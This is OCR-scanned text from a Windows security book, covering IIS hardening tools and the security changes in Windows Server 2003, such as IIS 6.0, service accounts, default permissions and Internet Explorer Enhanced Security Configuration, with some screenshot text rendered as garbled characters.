;= E‘w . ApphlowDebug..  Inh ASP. D. O
- .. AppFrendyame WM St
i Ej gﬁ"”me' . Applsolsted waM o Do D
" LB pivais [an] .. AppPackagelD WM St (3D14228CFBE1-1140-9950-00C04FDS18CT}
B3 :\'tf_r:nf Ld_h:| .. AppPackageNa. Witk St IS In-Process Applcations:
&3 Tvilag [aB] AppFRiool File St ALMAWISYE
53 bt [28] . Appwamsid Wik 51 [99163CB0ATOTA0-9890-00CO4FDISCT}
2 Foat [ . Aspdlow0ulDP.. Inh Wi Do 1
[ _whi_script .. AsphlowSessio..  Inh ASP.. D1
[ _whitst — El:ﬂ ... AspBufferngln  Inh ASP.. Do 1
) [ localstanssp (3] .. AspCodepage Inh ASP. Do 0
m-Ea 2 (8] .. AspEnablategli. Inh ASP. D 1
[#1 1 Fitess | [ AzrFnahletsnH  Ink WeM NN =
| LMWV =

Figure 14-3. The IIS Metabase Editor provides access to advanced Internet Information
Services configuration detalils.
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SUMMARY

As mentioned in the introduction to this chapter and elsewhere, the de-
fault installation of IIS on Windows 2000 is vulnerable to a number of
serious attacks. While all of these security flaws have been addressed
with service packs and hotfixes in a reasonable timeframe, the vast ma-
jority of the issues were discovered outside of the IIS web server it-
self—they were found in external modules that provide additional
default functionality, much of which would never be used on a typical
web site. The tools discussed in this chapter reflect Microsoft’s commit-
ment to security and to providing facilities to secure IIS with the same
ease as it was installed. Without the IIS Lockdown Tool, performing the
same activities could take an administrator more than 15 or 20 minutes
per server; without URLScan, the only options for real-time attack
detection and filtering were expensive third-party Intrusion Detection
systems or filtering proxies. In concert with a well-managed patch
management program, URLScan and the IIS Lockdown Tool can help
any administrator maintain a more secure Windows web server. In the
next chapter, we’ll take a closer look at some of the security improve-
ments present in Windows 2003, including a more detailed look at the
substantial changes to the IIS v6.0 security architecture.
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letter to Microsoft employees describing a renewed commitment to se-

curity in all aspects of Microsoft’s product lines. This commitment was
dubbed the Trustworthy Computing initiative, and Windows Server 2003 is
the first new operating system to be released since the initiative’s inception.
In this chapter, we will review the major changes between Windows
Server 2000 and 2003 along with the usage and security implications of
these updates.

WHAT’S NEW IN WINDOWS 2003

One of the cornerstones of the Windows family of operating systems
has always been ease of use. The consistent look-and-feel of all applica-
tions and services on the system make it easy for users to figure out how
to perform basic tasks. Default installations were fairly open, and many
basic security facilities, such as auditing, were initially disabled. Often
these settings were chosen to help maintain system reliability or to help
boost out-of-the-box performance. Both Windows NT and 2000 had
many such examples—from initial file permissions to anonymous infor-
mation disclosures to insecure authentication methods and excess sys-
tem service privileges.

These properties of Windows were fundamental to both the operat-
ing system’s popularity and its track record of security incidents. The
unrestrictive default security posture allowed even novice administra-
tors to bring advanced server applications online, often without changing
a single security flag. Of course, the same limited restrictions applied to
would-be attackers. Even in the context of a “restricted” user, such as the
Internet guest account (IUSR_machinename), the attacker would have
enough privilege to make quick work of gaining Administrator rights.
The default permissions problems were further compounded by the vari-
ety of network services installed and started by default, such as the noto-
riously hackable Internet Information Services 5.0 in Windows Server
2000. Windows Server 2003 has gone to great lengths to correct these defi-
ciencies, and in this chapter we'll look at some of the more substantial
new features and settings.

In the first weeks of 2002, Microsoft Chairman Bill Gates issued an open

Internet Information Services 6.0

Probably the most substantial change in Windows Server 2003 is the in-
clusion (and non-installation) of the new Internet Information Services
v6.0. Besides a substantial redesign of the IIS process security and a new
set of installation defaults that prevent serving any dynamic content
anonymously, Microsoft felt it prudent to ensure that IIS was not in-
stalled by default. Internet Information Services must be added as part
of the Application Server “server role” following the installation of the
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operating system. Windows 2000 Servers that are upgraded to Win-
dows Server 2003 will also have their web sites disabled as part of the
upgrade process. Microsoft clearly intends that no Windows 2003 ad-
ministrator should ever “accidentally” be running IIS.

ﬂ Actually, a default Windows Server 2003 installation does not automatically enable
any server roles, and the first screen presented to the administrator after installa-
tion is the Manage Your Server HTML application, shown in Figure 15-1. The Appli-
cation Server role includes the Microsoft .NET Framework, ASP and ASP.NET,
and various supporting services in addition to Internet Information Services 6.0.

New Request Processing Architecture: http.sys

Atits very core, IIS has changed its approach to managing HTTP protocol
requests. In previous versions of Internet Information Services, the server
process inetinfo.exe managed all requests and replies, managing calls to
external providers such as asp.dll and others itself. Starting with IIS v6.0,
inetinfo.exe has been replaced by two separate components. The first
component is a kernel-mode server http.sys. The second is a user-mode
process manager that provides web service configuration details to
http.sys on startup and then manages the IIS worker processes (hosted in
the executables w3wp.exe), which communicates directly with http.sys.

1
& Manage Your Server

Manage Your Server

Server: PHALANY

Search Hzlp and Suppor

. Tools and Updates
E'i Adding Roles to Your Server
‘- Adding roles ta your server lets it perform specfic tasks, For
: esample, the file server role enables your server ko share fies. To
=dd arole, start the Configure Your Server Wizard by dickng Add or o) pead ahout server roles
remiove & rake,

Adminiserative Took
Mare Took
Windaws Update

Compuber and Domain Mame:
Infarmation

| Add or remove a rale

Internes Explorer Enhanced

51?1 Managing Your Server Roles Security Corfiguration

After you have added a role, return bo chis page at any bme For
tooks and information to help you with your daily administrative
tasks. Sce Also

i Mo roles have been added to this server. To add a rele, click Help and Support
Add or remove a rale.
Microsoft Techiet
Deployment and Resouros iks

List of Commen Admiristrative
Tarsks

Windows Server Comminities

What's Mew

Stratege Technology Procechon
2

[ Don't display this page &t lazon

Figure 15-1.  The Windows Server 2003 Manage Your Server Help and Support Center page
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This new method allows IIS to operate more robustly than it did in the
past. The http.sys kernel module has a very simple job, routing and re-
sponding to requests, so it does not lend itself to abuse the same way that a
more feature-laden HTTP service does. Kernel-mode execution allows for
higher priority cache operations and allows IIS to queue requests for ser-
vices that are momentarily unavailable due to server maintenance or pro-
cess errors. As an added bonus, the kernel module keeps track of which
worker processes are servicing which requests, forwarding the request di-
rectly to the worker processes responsible for the resource. This accelerates
request processing and truly isolates individual web sites and /or applica-
tions. If a worker process stops responding, the kernel module caches the
requests until the IIS process manager can take corrective action.

IIS Application Pools

In IIS v5.0, there were three methods for managing out-of-process appli-
cations such as ISAPI extensions. These options, labeled Application Pro-
tection, defined how IIS would launch these extensions, either within the
IIS process itself (Low protection), within a single process separate from
inetinfo.exe but still shared by all IIS tasks (Medium protection), or as an
isolated process (High protection). Each of these options had its own per-
formance and reliability implications. Windows 2003 Server extends
these process isolation options through a facility called application pools.

An application pool can host one or more web sites, and all out-of-pro-
cess activities for those sites occur within this pool. Hardware resources
permitting, Windows Server 2003 can run up to 2,000 separate application
pools simultaneously. Because administrators have granular control over
which sites use which pools, they can ensure that mission-critical web sites
do not share resources with sites that may exhibit erratic behavior. Admin-
istrators can configure advanced application pool parameters as well, such
as defining process and memory recycling criteria or even specifying the
security account that should be used for the pool.

This new application pool management is the default in IIS v6.0. Be-
cause some web applications may rely on features present in IIS v5.0 that
no longer exist in IIS v6.0, there is a compatibility mode available that
causes IS to operate in very much the same fashion as its predecessor, us-
ing inetinfo.exe as the master process and using the same out-of-process
management techniques. However, even in IIS v5.0 compatibility mode,
IIS v6.0 still takes advantage of the http.sys kernel-mode HTTP provider.

Limited Default Functionality

Many of the vulnerabilities discovered in IIS v5.0 and its predecessors took
advantage of the default content and applications that were installed with
the server. All ISAPI extensions are enabled by default in IIS v5.0, so a de-
fault installation with no security provisions exposed a great deal of func-
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tionality that was not necessarily required. In addition to disabling IIS v6.0,
Windows Server 2003 has severely restricted the service’s default offer-
ings. On a fresh installation, the only possible default web site content are
ASP.NET or the FrontPage extensions, and these are available only if se-
lected during the installation. All ISAPI filters, even Active Server Pages,
are initially set to prohibited, as shown in Figure 15-2.

More Default Security

Aside from the lack of IIS, the most immediately noticeable security
changes in Windows Server 2003 are the revisions to default user permis-
sions and system services. Users familiar with the Windows XP operating
system will no doubt recognize some of the changes, as some of these im-
provements made their debut under that operating system. Others are
entirely new for Windows 2003, and many of these defaults will ad-
versely affect compatibility with applications and services that worked
correctly on default Windows 2000 installations. Some of Microsoft’s
own “2000-level” server applications are incompatible with Windows
2003, and the ones that do work require the latest service packs.

Changes to Default Services

A number of default services have been disabled in Windows Server
2003. Some of these services have been key culprits in serious vulnera-
bilities; others are simply outdated and little used. Many of the services
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Figure 15-2. Default web service extensions for Windows Server 2003, as shown in the
Application Server MMC Console snap-in
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that are still enabled by default now run under one of the two new ser-
vice accounts, Local Service and Network Service. These user contexts
are more restrictive than the Local System user, so if a vulnerable ser-
vice running under one of these new contexts were to be exploited, the
attacker would have fewer options available for command execution.
Introduced in Windows XP, both services have local system permis-
sions similar to an authenticated user; the main difference between
them is their rights when accessing network resources. Processes run-
ning in the Local Service context establish anonymous network connec-
tions, whereas processes running as Network Service can authenticate
as the system’s computer account.

The newly disabled services in Windows 2003 are not likely to affect
most environments, as they are mostly helper services, not core provid-
ers of any kind. Table 15-1 lists the services that have been disabled in
Windows 2003, their startup mode in Windows 2000, and any spe-
cial-use considerations.

Windows 2000
Startup

Alerter Automatic Processes administrative alerts, often by
calling Messenger service.

Clipbook Manual Early Windows NT applications used
Clipbook and other NetDDE services for
simple data transfer.

Distributed Link Manual Used on domain controllers to manage

Tracking Server shortcuts and OLE links pointing to
various network resources on NTFS
partitions.

Internet Connection Manual IP masquerading solution for small office

Sharing/Firewalling and home networks.

License Logging Automatic Provides alerts regarding server software

license violations.

Messenger Automatic Now used by spammers, this service
relays messages to logged-on users by
way of a pop-up message.

NetMeeting Remote Manual Enables pseudo-terminal services for the
Desktop Sharing NetMeeting conference system.
Network DDE/DDE Manual Network Dynamic Data Exchange,
DSDM used in the rudimentary Windows NT

networked application examples such as
Chat and Hearts. Could be required by
legacy applications.

Telnet Manual Provides limited remote command prompt
facilities, attempts NTLM authentication
but can fall back to cleartext.

World Wide Web Automatic Internet Information Services HTTP server.
Publishing Service (IIS)

Table 15-1.  Services Disabled by Default in Windows 2003
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The new user contexts of Local Service and Network Service have
been applied to a number of other default services in Windows 2003.
These changes should not impact current applications, provided they
are run under the same user context they were in Windows 2000 (typi-
cally, Local System). Custom-developed or third-party services may or
may not be able to run under the new limited accounts, depending on
the type of local access they require (a virus scanning engine, for exam-
ple, will still need to be run as a Local System or Administrator-level ac-
count due to its close relation to file access). Table 15-2 shows the
services that have been configured to run under these new accounts and
their default startup behavior in Windows 2003. Refer to Chapter 8 for
descriptions of these services.

Changes to Default Permissions and Policies

While reducing service offerings can reduce the potential inroads for an
attacker, it is important to take steps to limit the capabilities of unautho-
rized agents to prevent a small vulnerability from being a foothold to a
major network compromise. To this end, Windows Server 2003 has a
number of user permissions more tightly controlled by default. Many of
these settings are changes to the Local GPO and tend to reflect best

[Service | Service Account | Default Startup

Alerter Local Disabled
Application Layer Gateway Service Local Manual
DHCP Client Network Automatic
Distributed Transaction Coordinator Network Automatic
DNS Client Network Automatic
License Logging Network Disabled
Performance Logs and Alerts Network Manual
Remote Registry Local Automatic
Remote Procedure Call Locator Network Manual
Smart Card Local Manual
TCP/IP NetBIOS Helper Local Automatic
Telnet Local Disabled
Uninterruptible Power Supply Local Manual
WebClient Local Disabled
Windows Image Acquisition Local Disabled
WinHTTP Web Proxy Auto-Discovery | Local Manual

Table 15-2.  Windows 2003 Services Running Under New Network- and Local-Service
User Contexts
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practices for securing Windows 2000. The following are some of the most
notable changes in the default permissions and policies in Windows 2003:

B Anonymous User Controls The following are disabled:
Everyone Includes Anonymous; Allow Anonymous Enumeration
of SAM Accounts; Allow Anonymous SID/Name Translation.
Note that Anonymous Share Enumeration is still enabled by
default because the SAM Accounts and Shares option is still
enabled.

B Password Controls Any user account with a blank password
can be used only to log on locally; they cannot be used to access
the system remotely.

B File System Permissions In Windows 2000, the Everyone
group is assigned Full Control of all local drives at the root. In
Windows 2003, the Everyone group is assigned only Read, List
and Execute rights, and only on the root folder itself. User
permissions are also much more tightly controlled.

B Authentication Options By default, Windows 2003 will not
respond to LM authentication requests and is set to send NTLM
responses only. This minimizes the chances of simple password
cracking from the wire, although (as we saw in Chapter 6) other
supported authentication hashes can still be cracked.

B Administrator Account can be disabled In Windows 2000,
Administrator could be renamed but not disabled.

B Secure Channel Communications Secure channel data is
configured to always sign or encrypt data.

This is not at all a complete list of the policy changes but does provide
an indication of the steps Microsoft has taken to address some of the most
commonly abused exposures. By limiting the rights of regular users and
service accounts, Windows 2003 makes it more difficult for non-adminis-
trative users to elevate their privileges and take control of the system.

Internet Explorer Enhanced Security Configuration

Best practices indicate that servers should not be used for browsing the
Internet. In fact, production servers should not even be capable of ac-
cessing external resources—if a server can make an outbound HTTP
connection, then an attacker (or Trojan or worm) can establish an out-
bound connection as well. Even if there are filters in place to ensure that
the server makes only legitimate HTTP and HTTPS outbound connec-
tions, this configuration still poses a risk.

Nevertheless, Internet Explorer has evolved into an integral part of the
Windows operating system and continues to be installed with Windows
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Server 2003. To encourage administrators to better adhere to best practices,
Internet Explorer in Windows Server 2003 is installed with an ESC (En-
hanced Security Configuration) in place. The ESC is a hardened install of
Internet Explorer, designed to ensure that administrators know what they
are doing when they are browsing with Windows Server 2003. With the ex-
ception of the Windows Update site, the Windows Error reporting site,
and a handful of pre-defined local sites, all resources are treated as high
risk under the ESC. When Internet Explorer ESC is started, it presents the
homepage shown in Figure 15-3 to advise users of the restrictions.

You are probably familiar with Internet Explorer’s security zone
concept. Based on properties determined from the URL, Internet Ex-
plorer automatically switches between various security profiles. Secu-
rity zones include Internet, Local intranet, Trusted sites, and Restricted
sites, with the majority of URLs qualifying as the Internet zone. Under
the ESC, the Internet zone is set to the High security level, the same
browser protection applied to Restricted sites. No active content is dis-
played, no file downloads are allowed, and ActiveX scripting and con-
trols are disabled, as is Java. Every loaded page that attempts any of
these activities raises a dialog box, warning that ESC has blocked activ-
ity. Multimedia content is ignored and install-on-demand services are
disabled. Finally, general Internet Explorer security settings are also en-
abled, such as SSL certificate revocation checking, no caching of secured
pages, and automatic deletion of temporary Internet files on close.

; Internet Explorer Enhanced Security Configuration is enabled - Microsoft Internet Explorer =]

File Edit Wiew Favorites Tools Help | "
kg Back = £ = {x] 42 o | Search Favarites &’ Media < - B
Address |:2] res:/jshdocle. dljhardidmin bt >l Edce | unks

Internet Explorer Enhanced Security Configuration
is enabled

Internet Explorer Enhanced Security Configuration is currently
enabled on your server. This configures a number of security
settings that define how users browse Internet and intranet web
sites, The configuration also reduces the exposure of your server to
Web sites that might pose a security risk. For a complete list of the
security settings in this configuration, see Effects of Internet Explorer
Enhanced Security Configuration,

This enhanced level of security can prevent Web sites from
displaying correctly in Internet Explorer and restrict access to
network resources, such as files on Universal Naming Convention
(UNC) shares. If you want to browse a Web site that requires
Internet Explorer functionality that has been disabled, you can add
the Web site to the inclusion lists in the Local intranet or Trusted sites
zones, For more information, see Managing Internet Explorer
Enhanced Security Configuration.

&

| ¢ My Computer

&

Figure 15-3. The Windows Server 2003 Enhanced Security Configuration homepage
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Administrators can still back out much of the Enhanced Security Con-
figuration. Other than a simple warning, nothing prevents a user from
setting the Internet zone’s security level to Medium or Medium-Low. The
browser options can be hidden from users by employing Group Policy
Objects, under Administrative Templates | Windows Components. Un-
der the Computer Configuration tree, you can disallow changes to the se-
curity zones. Under the User Configuration tree, you can disable the
Security tab altogether.

Because users of Terminal Services will frequently browse from the
server, ESC can be disabled for standard and restricted users when Ter-
minal Services is installed. This is accomplished transparently for up-
grades or unattended installations, and Windows will prompt the
administrator to disable ESC for standard users if Terminal Services is in-
stalled manually. Members of the Power Users and Administrators
group will still have the ESC enabled because their expanded privileges
make web browsing in their context a more risky proposal. Terminal Ser-
vices users should be discouraged from browsing within their session
whenever possible and should be directed to access external sites directly
from their own workstations rather than from the Terminal Server.

Improved Security Facilities

Default security was not the only consideration in the development of
Windows 2003. While changes in the defaults make great strides in min-
imizing the attack profile of a Windows host, security is not simply
about out-of-the-box behavior. To that end, Windows 2003 offers im-
provements in many security facilities, some of which are transparently
enabled, others which require some configuration to use.

Windows 2000 introduced a host of security features that we’ve dis-
cussed elsewhere in this text, notably IP Security and file encryption
with EFS. In Windows Server 2003, these features have been extended
somewhat with support for new encryption algorithms. Other new fea-
tures include additional authentication methods and new management
features for wireless network and PKI management. Let’s take a look at
some of these improvements to Windows Server 2003:

B EFS Data Encryption Standards The Encrypting File System
in Windows 2003 benefits from a new default algorithm, the
Advanced Encryption Standard (AES-256). In addition, a
Group Policy Object setting allows all system cryptography to
use a Federal Information Processing Standards (FIPS)-compliant
algorithm; this option enables the 3DES algorithm. Information
on manually setting the EFS encryption algorithm can be found
in Microsoft Knowledge Base article Q329741.
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B IPSec Improvements Windows Server 2003 supports a
stronger master encryption key for IPSec communications,
allowing encrypted communications with compatible systems
to be based on a 2,048-bit key exchange.

B Extensible Access Protocol Windows 2000 was the first of
the Windows operating systems to support EAP, offering both
EAP-MD5 and EAP-TLS. EAP is an alternative to the standard
remote access authentication protocols of PAP and CHAP and is
designed to negotiate authentication options to simplify adding
additional methods in the future. As part of the support for IEEE
802.1x authentication protocol (see the next bullet), Windows
Server 2003 now supports Protected EAP authentication for
environments where EAP-TLS is too difficult to implement.

B Wi-Fi Support (IEEE 802.1x) Though technically introduced in
Windows 2000 SP3 and XP, Windows Server 2003 supports the
IEEE 802.1x wireless specifications out of the box, including the
Protected EAP authentication discussed above. Microsoft
provides a whitepaper on using Windows facilities to help
implement secure wireless networking, available at http://
www.microsoft.com/WindowsXP/pro/techinfo/deployment/
wireless/default.asp.

B Public Key Infrastructure In Chapter 13, we saw how to
configure a Windows 2003 Certificate Server to autoenroll
authenticated clients for certificates to use for file encryption.
The Certification Authority in Windows Server 2003 has far
more powerful applications than the one we investigated,
including selective Active Directory trust capabilities (called
cross-certification) and new key recovery facilities such as
automatic private key archival. (Depending on your viewpoint,
automatic private key archival may be a feature or a
vulnerability, but it is not enabled by default.)

SUMMARY

Windows Server 2003 represents a critical release for Microsoft. While
some cynical administrators (and even industry analysts) have already
written off Microsoft’s capability to deliver secure platforms, the strong
focus on security services for 2003 has set high expectations for this op-
erating system. Microsoft has long blamed successive security issues on
the strong tether of backward compatibility, and in Windows Server
2003 they have elected to forego this compatibility in the name of secu-
rity. Many organizations will probably take a wait-and-see approach to
Windows Server 2003, especially because some Microsoft servers (such
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as Exchange) will not be releasing compatible versions for some months
after the Windows Server 2003 launch date.

Time will tell how successful the Microsoft audit of Windows Server
security facilities has been. If major vulnerabilities are uncovered in this
release of the operating system, Microsoft will come away with a black
eye. From even this brief overview of the improvements in this revision,
it’s clear that system security has been a driving force behind the re-
lease. If these improvements in security posture and underlying tech-
nologies pay off, Microsoft could begin to rebuild its reputation for
helping to build secure environments.
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